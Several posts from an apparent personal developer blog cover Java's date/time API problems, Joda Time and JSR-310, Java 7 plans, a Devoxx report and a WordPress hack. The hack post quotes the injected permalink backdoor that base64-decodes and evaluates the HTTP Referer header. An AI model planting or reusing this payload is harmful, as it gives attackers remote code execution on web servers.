Since the start of the development of JDK 7, there is quite some discussion on the API’s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible for handling date and time: Date and Calendar, the formatting classes, and the classes in the java.sql package, including java.sql.Date, java.sql.Time and java.sql.Timestamp. Most developers agree that these classes are far from perfect.

In order to resolve this issue, JSR-310 is started to improve the date and time API in the standard Java libraries. However, due to lack of developers and slow progress, it became very uncertain if the JSR would be ready for inclusion in JDK 7 (which will eventually become Java 7, the name I will use in the rest of this article). JSR-310 is lead by Stephan Colebourne and Michael Nascimento Santos. Colebourne is the original author of the increasingly popular Joda Time project, which is a replacement for the default Java date and time API’s. At Devoxx 2009, taking place last November, Mark Reinhold of Sun announced that Java 7 will be delayed until September 2010 at the earliest. Stephan Colebourne sees this as a opportunity to release at least a partially complete JSR-310 in time for the upcoming Java release.

But why is the current Java date and time API broken? How can you circumvent the issues in this API? And how does JSR-310 intends to resolve the issues in the upcoming release? These questions I will try to answer in this article.

Current date and time API in Java

While it is a bit to much to explain the complete workings of the date and time API in Java 1.6 (and before), I will try to explain the main problems with the current date and time API in Java. I assume some upfront knowledge of the API by the reader, but probably it is not very difficult to follow for people who don’t have extensive experience with the API.

The Java 1.6 standard library contains a few classes which deals with date and time. The most important ones are Date and Calendar. Almost the entire API is designed around these two classes. The main problem with them is that fairly simple operations on date and time require a rather large amount of code with many instances of individual classes. This has a negative impact on performance. The API is inconsistent and confusing for developers, making code using Date and Calendar hard to read and maintain. Additionally, the API is incomplete which force developers to create custom solutions for simple problems. Finally, the API misses opportunities which would made the usage of the API simpler. With this last point, I mainly refer to the lack of fluent API’s and the fact that all objects are mutable.

In the current API only a specific instance in time can be represented using a Date object. This object represents a specific point in time, internally defined by the number of milliseconds since the Epoch (January the 1st 1970 at 0:00 hour) and a timezone. In fact, this could be easily represented by an immutable object. Unfortunately, this is not the case. In earlier Java versions, many methods were added to the Date class making it possible to manipulate it. Nowadays, almost all these methods are deprecated and should not be used anymore. However, they still exists, and worse of all the setTime(long time) method is not deprecated and changes the state of a Date object.

The fact that Date is a mutable object, makes it hard to use it in other classes which are immutable. One should always make a defensive copy of every Date object that is part of an immutable object. Joshua Bloch gives an example in his book Effective Java:

public final class Period {
  private final Date start;
  private final Date end;

  public Period(Date start, Date end) {
    if (start.compareTo(end) > 0)
      throw new IllegalArgumentException(start + " after " + end);
    this.start = start;
    this.end = end;
  }

  public Date start() {
    return start;
  }

  public Date end() {
    return end;
  }
}

Objects of the type Period appears to be immutable, however it is not due to the usage of the Date class. An example where a Period object is changed:

Date start = new Date();
Date end = new Date();
Period p = new Period(start, end);
end.setYear(78); // Modifies internals of P!

This bug makes it possible to change the end date of the Period p, which renders the check in the constructor of Period void. Of course, there is a pretty simple way to prevent this problem by making a copy of start and end in the constructor of Period:

public period(Date start, Date end) {
  this.start = new Date(start.getTime());
  this.end = new Date(end.getTime());
  [...] // remainder omitted
}

However, this requires additional effort of the user of the API and can easily be forgotten. When Date objects would be immutable, this extra copy would not be necessary.

The other class in the date and time API in Java is the Calendar class. Instances of this class represents a point at a specific type of calendar (most of the time Gregorian) and provide methods to do some simple calculations. The main problem with this class is that it is mutable as well. The methods on this class are also not very beautiful. For example, to get the current year of the Calendar instance cal, one should call cal.get(YEAR) where YEAR is a constant. It is also confusing that a Calendar can operate in two modes, namely ‘lenient’ and ‘non-lenient’. In the first case, it is possible to define values for fields which are normally out of range. For example, it is possible to set the month to 15. The Calendar object then automatically converts it to a valid month, by increasing the year by one, and set the month to april.
Wait, april I wrote? Yes, months are zero-based in the Calendar (however, days, years, etc. are not).
The way the days of a week are represented are a little bit confusion

The main problems are clear now, however, there are many other smaller problems. For example, there also exists java.sql.Date, java.sql.Time and java.sql.Timestamp. These classes are childs of the java.util.Date class, but add some functionality for use in databases. However, there is a problem in the implementation of these classes. The java.sql.Date class and is used to represent a date without a time, while the java.sql.Time class represents a time without a date. Timestamp adds nanoseconds to the Date object. However, internally they still contain both a time and date and the implementers did not override the equals and hashCode methods causing hard to find bugs:

Date date = new Date();
Time time = new Time(date.getTime());
java.sql.Date sqldate = new java.sql.Date(date.getTime());
Timestamp timestamp = new Timestamp(date.getTime());

System.out.println(date.toString()); // Sun Dec 20 15:53:55 CET 2009
System.out.println(time.toString()); // 15:53:55
System.out.println(sqldate.toString()); // 2009-12-20
System.out.println(timestamp.equals(date)); // false
System.out.println(date.equals(timestamp)); // true

This means that java.sql.Timestamp does not obey to the equals contract, saying that the equals should be symmetric. Additionally, it is confusing that Time and java.sql.Date only represent a part of the date, but still use the same equals implementation.

Astronomical Clock

Joda Time

At this moment there is already a working solution for the problems described in the previous section. It’s called Joda Time and this is a replacement for the date and time API in the Java standard library. Joda Time solves most problems that currently exists. Joda Time contains two ways of defining a particular date or time: instant for a particular point in the ‘date time continuum’ and partial for a time or date representation which is not exactly a point in time, because a part is missing (the time, timezone, year, etc.).

Intstants in Joda Time are defined by the ReadableInstant interface, of which the most used implementation the DateTime class is. A DateTime object is immutable and contains a fluent API to do calculations on it (which of course return new objects). In order to make it easy to use it in existing projects, it is easy to convert a JDK Date object to a DateTime object and vice versa. Joda Time also provides a mutable version of the DateTime class, MutableDateTime, which can be used when a lot of transformation on a date has to be done. However, the usage of this object is most of the time not really necessary and should be avoided in my opinion. A MutableDateTime can easily be converted to a immutable version of it.

Partials are represented by the ReadablePartial interface, of which the most used implementations are LocalDate, LocalTime and LocalDateTime. Object of these types are also immutable and can easily be converted to DateTime objects and JDK Date objects. Additionally, Joda Time contains Duration, Period and Interval for completeness.

Of course, an example of Joda Time usage cannot be omitted in this article:

DateTime now = new DateTime();
Period sixdays = new Period(0, 0, 0, 6, 6, 0, 0, 0);
System.out.println(now); // 2009-12-20T18:35:53.360+01:00
DateTime future = now.plus(sixdays);
System.out.println(future); // 2009-12-27T00:41:59.097+01:00
System.out.println(now.withYear(2028).plusDays(31).toString("dd-MM-yyyy hh:mm")); // 20-01-2029 06:41

This example initializes now to the current time (the default value of a DateTime without constructor parameters). The variable sixdays contains a reference to a Period object which defines a period of 6 days and 6 hours. Periods can easily be added to a DateTime object using the plus() method. Note that the result of the method should be assigned to a variable, since it does not modify the existing object, but creates a new one which has to be assigned to a variable in order to use it actually.
The last line shows how easy it is to perform simple calculations with date using Joda Time. Additionally, it shows another feature of Joda Time, namely the ease to format a date according to a specific pattern. A similar operation would be much more difficult using the JDK Date and Calendar classes, since one would have to instanciate a Calendar, Date, SimpleDateFormat and call several individual methods.

Joda Time also makes many other use cases very simple. For example, the DateTime constructor accept many different types of objects for initialization. For example, one can provide many different formatted String objects, which are automatically parsed correctly. This includes the ISO 8601 format, which is used in XML. For testing purposes Joda Time also makes it possible to change the current time, using DateTimeUtils.setCurrentMillisFixed(millis);.

JSR-310 and Joda Time

As mentioned earlier, JSR-310 is lead by Stephan Colebourne, who also created Joda Time. It may be obvious to take the latest Joda Time release and put a JSR stamp on it, declaring it the reference implementation. This is not what is happening, with good reason.
Stephan devoted a recent blog post on this topic, explaining why JSR-310 differs from Joda Time. The main reason is that Joda Time is not perfect.
The design goals for JSR-310 are clearly defined: The API should support immutability, a fluent API, it has to be extensible and the API should be clear, explicit and expected. Especially this last point is where Joda Time is not perfect. For example, Joda Time uses the notion of Chronology to represent different calendar types. It is possible to define the Chronology when instantiating a DateTime object. In the default case, a DateTime object will return a value between 1 and 12 when calling the getMonthOfDay() method. However, when using a for examle a Coptic Chronology, this method can also return 13, since the Coptic calendar has 13 months. This makes the API return values the user might not expect, and in fact, the previous method call requires a check to make sure the result is as expected. Also the use of the ReadableInstant by DateTime and the Instant class (which is a machine representation of an instant in time) is wrong, since there is difference in how humans define an instant in time compared to how machines see it. Finally, Joda Time accept null values in many places without throwing an error, which is also wrong according to Colebourne.

The issues in Joda Time should be fixed in the JSR-310 implementation making it an even better date and time API. Should we therefor not use Joda Time? Definitely not! Of all available options, Joda Time is definitely the best choice for working with dates and times in Java. The fact that the completion of JSR-310 takes a very long time, is since for most developers Joda Time fixes the problem that exists in the current JDK API, making the urgency of completing JSR-310 pretty low.

Conclusion

The date and time function in the default Java SDK is flawed in many ways. While it can be used for most projects with some extra effort, it can also cause many unexpected problems. JSR-310 is on its way to finally fix this problem. However, it is still not yet sure if it will be part of Java 7, mainly because of the lack of developers.
For new projects, there is very few arguments for not using Joda Time. It is well tested and well supported, including support for Hibernate and JSP’s. It makes it a lot easier to perform calculations using dates, and provides an easy to use API with reliable performance.

After some quick research, it seems there was a bug in Wordpress which made it possible to alter the database using SQL injection. I was victim of a widely available exploit which changed the permalink URL’s to something ending with %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/. This was done by changing the permalink option of Wordpress, which appends this snippet to every URL.

It is quite obvious what it does: everything in the HTTP_REFERER header is base64_decoded and evaluated. So, anybody could execute PHP code on my server by adding it to the referer header (which is very simple).

Many reports by victims of this hack have additional administrators for their blog. Fortunately, that was not the case with my blog.

This is the first time in my life I was subject to hackers or something like that.

More information on how to deal with this hack can be found on the weblog Journey Etc..

By the way, I have to say that the new admin interface that come with Wordpress 2.8.4 is very nice. It is definitely an improvement over the old one (of which the source code also wasn’t very nice..).

While Java is already in the game for several years, development on new features and improvements for the language are still going on to ensure that Java will be useful in the future. Java 6 has been released more than two years ago, and is slowly becoming old caffee. Most people prefer freshly cooked caffee, and therefore a large number of developers are working on Java 7. The planned release for this newly brewed Java is stated for March 2010. In this article, I will try to provide an overview on the current state of Java 7 and what we can expect in the final release.

Big changes

While it is far from sure which will eventually be part of Java 7, some big changes are defined of which it will be very likely that it will be part of the new release. The most important change is modularization of the JDK. This project, which is currently knonw by the name ‘Project Jigsaw’, aims to provide a more flexible platform and make it easier to distribute Java libraries and applications. In a nutshell, the idea is to extend the Java language with syntax to load modules and define to which module a particular Java class, interface or package belongs. A module is a top level grouping of Java packages on a language level and jar files on a file system level. Java modules can be loaded dynamically – comparable to the way in which OSGi works – and it is possible to define dependencies within modules. Such a dependency can be optional, but it is also possible to prevent other modules to depend upon a given module. A new accessibily level will be added for classes and interfaces which makes it possible to restrict access to a certain class or interface from within the current module. As for now, the keyword which is proposed for this feature is ‘module’, but it will remain possible to call classes and other elements module (so, it will not become a reserved keyword).

The biggest advantages of the modularization will be the reduced amount of dependency problems within libraries, which is currently a major issue in larger Java applications. Project Jigsaw will make it possible to use multiple versions of the same module in a single application. Another advantages is that the JDK will be modularized as well, which makes it possible to reduce the core JDK significantly. Parts of the JDK which are not required for a certain application don’t have to be installed on the system, increasing the speed and reducing the size of the used JDK. Parts of Java which are not used anymore can be depricated more easily (because there are simply not installed anymore) and it will also be easier to add new parts to the JDK.

The modularization of the Java language is a very invasive operation. It requires changes to the syntax of the language, to the core libraries and the Java compiler. Sun Microsystems took the burden upon itself to implement this change, but also stated that it won’t be possible to make other large changes to the language. Victims of this decision are closures and the support for property fields.

Av few other changes which will be very likely to find their way into the JDK 7 is the NIO2 library. NIO2 uses operating system specific code to access files, directories and network resources, which leads to several speed improvements as well as extended capabilities which were not possible without NIO2. One of the notable improvements offered by NIO2 is the possibility of asynchronous access of (metadata) of files, enabling for example to execute code when a file is change without having to poll the file regularly for changes. There will also be changes to the concurrency framework, improvements in the other standard Java libraries and updates to the Swing framework, including the Swing Application framework and a multimedia component which makes it easier to implement video playing capabilities into Java applications.

JVM changes

Another big improvement, which will certainly be part of Java 7, is the so-called ‘invoke dynamic’ feature for the JVM. This is not a change to the Java programming language, but will only be cause changes in the virtual machine. Invoke dynamic will benefit the dynamic languages which are available for the JVM, including JRuby, Jython, Scala, Clojure, Groovy, JavaFX and Fan. A complete explanating of this feature would require a article in itself (apart from the fact I can’t really explain it completely and corretly at this moment). It will make it possible to execute individual methods which don’t necessarily belong to a particular object or class. This is especially relevant for languages which support closures or provide possibilities to add methods to an object after it has been instanciated.

The current development version of the JVM (under the OpenJDK umbrella) already contains a new garbage collector (called Garbage First) which will improve performance in comparison to the current garbage collector (which uses a concurrent mark sweep algorithm), but the most important improvement is that the GC time will be more predictable.

Project Coin

There is a lot to write on the new features which are considered for Java 7 inclusion. However, space is limited here, so I have to wrap it up. There is one item which I will discuss here, and that is Project Coin. Despite the fact that there will not be many large changes to the Java programming language with the Java 7 release, the developers would not want to skip the opportunity to do small languages changes with this new major release. These small language changes are selected using strict criteria: a language change should be relatively easiliy to implement and should give a significant productivity improvement for a Java programmer. An example of such a feature from the past is the ‘foreach’ construction added with Java 5.

Everyone who has a good idea for a small language improvement can submit his proposal to the Project Coin mailinglist. The proposal should be done using a standard proposal form and has to be submitted before the 30th of March 2009. At the moment of this writing, there were 21 proposal submitted. A few of them are seriously considered for implementation (eventually, about five proposals will be part of Java 7):

• The possibility to use Strings in a switch statement.
• Improved type inference for Generics, making it possible to write for example the following:
  Map<String , List<String>> myMap = new HashMap<>();.
  It would not be required anymore to repeat the types on the right side statement, which reduces the amount of typing by the programmer.
• The ‘elvis’ operator and other operators which will make testing for null on variables unnecessairy. Example:
  

  MyObject myInstance = getMyInstance();
  MyInstance.?toString();
  

  
  In the current Java, the myInstance.toString() call should be preceded by a checn on null for myInstance in order to avoid a possible NullPointerException.

• Improved exception handling, including the possibility to handle multiple exceptions within one catch block and safe rethrow of exceptions.

There are more interesting (and not-so-interesting) proposals, and there will definitaly be more new proposals submitted before the deadline will pass, but the list above will give a rough indication of which we can expect in Java 7. For developers who are interested in language development and in which way Java will evolve with the next release, it is certainly worthwhile to check out the Project Coin mailinglist. There are very intersting discussions on the proposed features and the huge implications which can come with (apparently) small changes.

Conclusion

Since it will take at least another year before Java 7 is released, at this moment the rough shape of this upcoming release is slowly revealed. Of course things will change over the next year and the described features are far from there eventual specification, it is safe to conclude that Java 7 will bring nice improvements. Not only for Java developers, but also for developers using alternative languages for the JVM.

The biggest difference compared to previous Java releases is the fact that all development is done in the open. Most of it will be part of the OpenJDK project, and otherwise as part of the Java 7 project. The OpenJDK development release, which already contains some improvements for Java 7, can be downloaded and installed at this very moment. So check it out if you want to try the new features!

I will try to give updates on this blog when there is something interesting to tell on the Java 7 development.

With 3200 visitors from 35 different countries, the event was completely sold out. The five days Devoxx is held, are split into two parts. The Monday and Tuesday were so-called ‘university’ days, consisting of longer in-depth talks taking three hours. The Wednesday, Thursday and Friday are the conference days, and contained the most interesting talks including some new announcements by the leaders of the Java community. Apart from the lectures, there was a booth floor with booths of Java related companies, such as IBM, Sun but also Microsoft and Adobe were present. I attended only the Wednesday and Thursday. Because of planning issues at work, it was not possible for me to visit the other days.

As expected, the main topics during Devoxx were the current hypes and trends in Java world. A major topic was of course JavaFX, which was released only one week before Devoxx by Sun Microsystems. Also other Rich Internet Application platforms got attention during Devoxx, but remarkably less than JavaFX. Another subject which got a lot of attention during the conference were alternative languages for the JVM, especially Groovy, Scala, JRuby and Jython. In various talks not directly related to Groovy or Scala, examples were giving using these alternative languages. This clearly indicates that these new languages have a important position in the Java-world. In fact, JavaFX is also an alternive scripting language for the JVM, but obviously this language has a slightly different goal, because this language is mainly focused on RIA’s. Finally, the upcomping improvements in Java 7 was also a hot topic.

Wednesday started with a keynote consisting of two parts, where the second part consisted of a relatively boring promotion talk on RFID by IBM. The first part, however, was a lot more interesting. Danny Coward of Sun Microsystems introduced JavaFX and gave several demo’s showing the capabilities of this new platform and presented the global architecture of JavaFX. JavaFX is aimed at rich internet applications and competes with Microsoft Silverlight and Adobe Flex, among others. The main advantages of JavaFX is the fact that it is based on Java SE and in fact produces Java Applets, which implicates that it will run on a large part of the current browsers without the need of installing additional plugins. JavaFX strong points are the ability to work efficiently with multimedia and animations, which opens a lot of possibilities for Java developers. There are already many plugins for existing IDE’s like Eclipse and Netbeans, but also for tools used by designers, like Photoshop and Illustrator. A big disadvantage of the current JavaFX version is the lack of controls for data focussed applications, such as buttons, radio buttons and checkboxes.

The Thursday keynote also consisted of two parts, but in contrast to the Wednesday, these were both very interesting. It started with a keynote by Joshua Bloch, author of the Effective Java book and one of the lead developers of Java SE 5. Bloch, currently working for Google, discussed some items of his Effictive Java book (the talk was apparently identical to the one he gave at JavaOne). The second part of the keynote was given by Mark Reinhold of Sun and consisted for the largest part of a discussion of Project Jigsaw. He also talked about the new features which will probably be part of the upcoming Java 7 release in 2010. Project Jigsaw is a attempt to modularize the Java SE and also enable Java applications to become modularized. The main advantage of this project is that it in the future will be easier to distribute Java applications and request a specific version of a Java library from within an application. The Java distribution will get profiles which are focussed on a specific task or platform. Examples of such profiles could be a mobile profile aimed at mobile phones, a desktop profile and a headless profile, which could be used by server applications. With regard to Java 7, he told that it will not contain closures (according to some people this is the death of Java…). Another remarkable notion is that Reinhold discussed the possibility to break compatibility in a future version of Java, which enables a clean-up of the Java language and libraries and introduce features which have a high impact on the language.

Of course, there is a lot more to write on Devoxx, since the amount of information is huge. Fortunately, all talks during the conference will be published on Parleys.com as podcast or vodcast. Interesting talks I attended where by Brian Goetz on concurrency in Java. During this talk, he presented the Fork/Join package, which could be part of Java 7. Goetz also did a talk together with Alex Buckley on the new JVM features to enable better performance of dynamic languages such as JRuby and Groovy. Bill Venners – author of the book ‘Programming Scala’ – did an very interesting talk on Scala during which he mainly focussed on writing tests in Scala. Two Jetbrains developers presented how IntelliJ IDEA coped with alternative languages and how it coped with multi-language projects and especially the cross-language refactoring features. Another talk by the tech-lead of the Jersey JAX-RS reference implementation introduced JAX-RS, which can be used to develop RESTFul web applications. Of course there was also a delegation of the Java Posse team doing a Live Java Posse-podcast during which the guys from Attlassian gave away free beers. So all in all, Devoxx was really interesting for me and I attended a lot of interesting sessions which gave me inspiration for a while to experiment with some new languages and technologies! Hopefully I’m back next year!

Last weekend was quite busy. We went to the Efteling because the employer of my girlfriend was having a family day there. It was very nice, especially because the weather was exeptional good for this time of the year.

I also read today about a new mainbord from ASUS which incorporates a embedded Linux installation for configuring the system and also provides some functionality, such as Skype. I think it is a nice idea, but unfortunately, it is a little expensive with a price of 360 dollars. You can buy a complete system for that money.

Rikkert Koppes has created a library which enables some Web Forms 2.0 elements for existing browsers. Not all additions are implemented and some parts, like css pseudo classes, work a little different than in it will be in the ‘real’ WF2 implementtions, but it is a very nice start and I think it can definitely be useful in web applications (especially the various date controls).